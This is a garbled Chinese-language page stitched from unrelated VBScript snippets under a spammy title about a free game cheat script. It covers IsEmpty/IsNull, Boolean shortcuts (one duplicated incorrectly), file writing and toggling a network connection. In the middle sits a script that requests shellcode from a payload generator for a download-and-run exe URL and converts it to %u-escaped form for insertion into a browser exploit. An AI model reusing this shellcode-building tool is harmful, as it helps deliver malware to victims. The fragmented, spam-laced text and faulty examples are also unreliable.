部落冲突免费脚本软件安卓简单
当想创建Recordset时,一种高效的方法是绕过Command对象而采用Recordset.Open方法但是,我们找不到这种方法,至少不能马上找到它

NULL关键字指用于指明变量包含的数据无效,与empty不同
实例:
dimp
'此时,
isempty(p)为true
isNull(p)为null
再例如,在在数据库里读出记录的一个的某个字段ppp值是null,该字段没有数据
p=rs("ppp")
此时isNull(p)=true
再说一个容易模糊的东东(可能也是大家费解的地方)
vbs在没有optionexplicit时允许不声明变量就使用变量赋值
如没有dimp而直接
p="aaa"第一次遇上时就会隐式的去定义变量p,可能在这儿产生费解,
-------------
其一:
dimp
isempty(p)为true
isNull(p)为false
显示定义了变量
---------------
其二:
isempty(p)为true
isNull(p)为false
必须在没有强制声明optionexplicit的前提下,否则程序不允许继续运行
隐式的定义变量,隐式定义发生在第一次对变量的使用
当没有显式的dimp时,第一次使用p时就会实际的运行机制==>
isempty(p)
(搜索函数作用域,没有定义,再搜索全局作用域,也没定义上网最麻烦的事莫过于在地址栏中输入网址了
'code by lcx
On Error Resume Next
Exeurl=InputBox( "请输入exe的地址:", "输入", "" )
url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"
Body=getHTTPPage(url)
Set Re=New RegExp
Re.Pattern="(\$shellcode \=[\s\S]+</div></pre>)"
Set Matches=Re.Execute(Body)
If Matches.Count>0 Then Body=Matches(0).value
code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode=",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))
function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
Function getHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t, "GB2312")
End Function
Function GetBody(url)
On Error Resume Next
Set Retrieval=CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody=.ResponseBody
End With
Set Retrieval=Nothing
End Function
Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write Body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Set objstream=Nothing
End Function
Function URLEncoding(vstrIn)
strReturn=""
For aaaa=1 To Len(vstrIn)
ThisChr=Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn=strReturn & ThisChr
Else
innerCode=Asc(ThisChr)
If innerCode < 0 Then
innerCode=innerCode + &H10000
End If
Hight8=(innerCode And &HFF00)\ &HFF
Low8=innerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding=strReturn
End Function
set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing
wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换里的shellcode1内容即可"你可以传送和返回参数
ConstssfCONTROLS=3
sConnectionName="本地连接"'可改成需要控制的连接名称,如"无线网络连接"等
sEnableVerb="启用(&A)"
sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)"
setshellApp=createobject("shell.application")
setoControlPanel=shellApp.Namespace(ssfCONTROLS)
setoNetConnections=nothing
foreachfolderiteminoControlPanel.items
iffolderitem.name="网络连接"then
setoNetConnections=folderitem.getfolder:exitfor
endif
next
ifoNetConnectionsisnothingthen
msgbox"未找到网络连接文件夹"
wscript.quit
endif
setoLanConnection=nothing
foreachfolderiteminoNetConnections.items
iflcase(folderitem.name)=lcase(sConnectionName)then
setoLanConnection=folderitem:exitfor
endif
next
ifoLanConnectionisnothingthen
msgbox"未找到'"&sConnectionName&"'item"
wscript.quit
endif
bEnabled=true
setoEnableVerb=nothing
setoDisableVerb=nothing
s="Verbs:"&vbcrlf
foreachverbinoLanConnection.verbs
s=s&vbcrlf&verb.name
ifverb.name=sEnableVerbthen
setoEnableVerb=verb
bEnabled=false
endif
ifverb.name=sDisableVerbthen
setoDisableVerb=verb
endif
next
'debuggingdisplaysleftjustincase...
'
'msgboxs':wscript.quit
'msgbox"Enabled:"&bEnabled':wscript.quit
'notsurewhy,butinvokeverbalwaysseemedtowork
'forenablebutnotdisable.
'
'savingareferencetotheappropriateverbobject
'andcallingtheDoItmethodalwaysseemstowork.
'
ifbEnabledthen
'oLanConnection.invokeverbsDisableVerb
oDisableVerb.DoIt
else
'oLanConnection.invokeverbsEnableVerb
oEnableVerb.DoIt
endif
'adjustthesleepdurationbelowasneeded...
'
'ifyoulettheoLanConnectiongooutofscope
'andbedestroyedtoosoon,theactionoftheverb
'maynottake...
'
wscript.sleep400
下面是应用这个技术的几段具体代码:
1、判断X和Y是否为同符号数值:
If(x<0Andy<0)Or(x>=0Andy>=0)Then...
'theoptimizedapproach
If(xXory)>=0Then
2、判断X、Y和Z是否都为正数
Ifx>=0Andy>=0Andz>=0Then...
'theoptimizedapproach
If(xOryOrz)>=0Then...
3、判断X、Y和Z是否都为负数
Ifx<0Andy<0Andz<0Then...
'theoptimizedapproach
If(xAndyAndz)<0Then...
4、判断X、Y和Z是否都为0
Ifx=0Andy=0Andz=0Then...
'theoptimizedapproach
If(xOryOrz)=0Then...
5、判断X、Y和Z是否都不为0
Ifx=0Andy=0Andz=0Then...
'theoptimizedapproach
If(xOryOrz)=0Then...
要使用这些来简单化一个复杂的表达式,必须要完全理解boolean型的操作原理
3、写文件
可以用forwriting和forappending方式来写
写有3各方法:
write(x)
writeline
writeblanklines(n)写入n个空行
来看一个例子:
*****************************************************************
data=”hello,Ilikescriptprograming”
setfs=createobject(“scripting.filesystemobject”)
if(fs.fileexists(“c:\2.txt”))then
setf=fs.opentextfile(“c:\2.txt”,8)
f.writedata
f.writelinedata
f.close
else
setf=fs.opentextfile(“c:\2.txt”,2,true)
f.writeblanklines2
f.writedata
f.close
endif
注意写完文件以后一定要关闭贪玩蓝月机能然后您就可以编辑该网格的列;删除、重新安排、添加列标头、或者调整任意一列的宽度这是不是很爽?这里我使用winrar+vbs实现。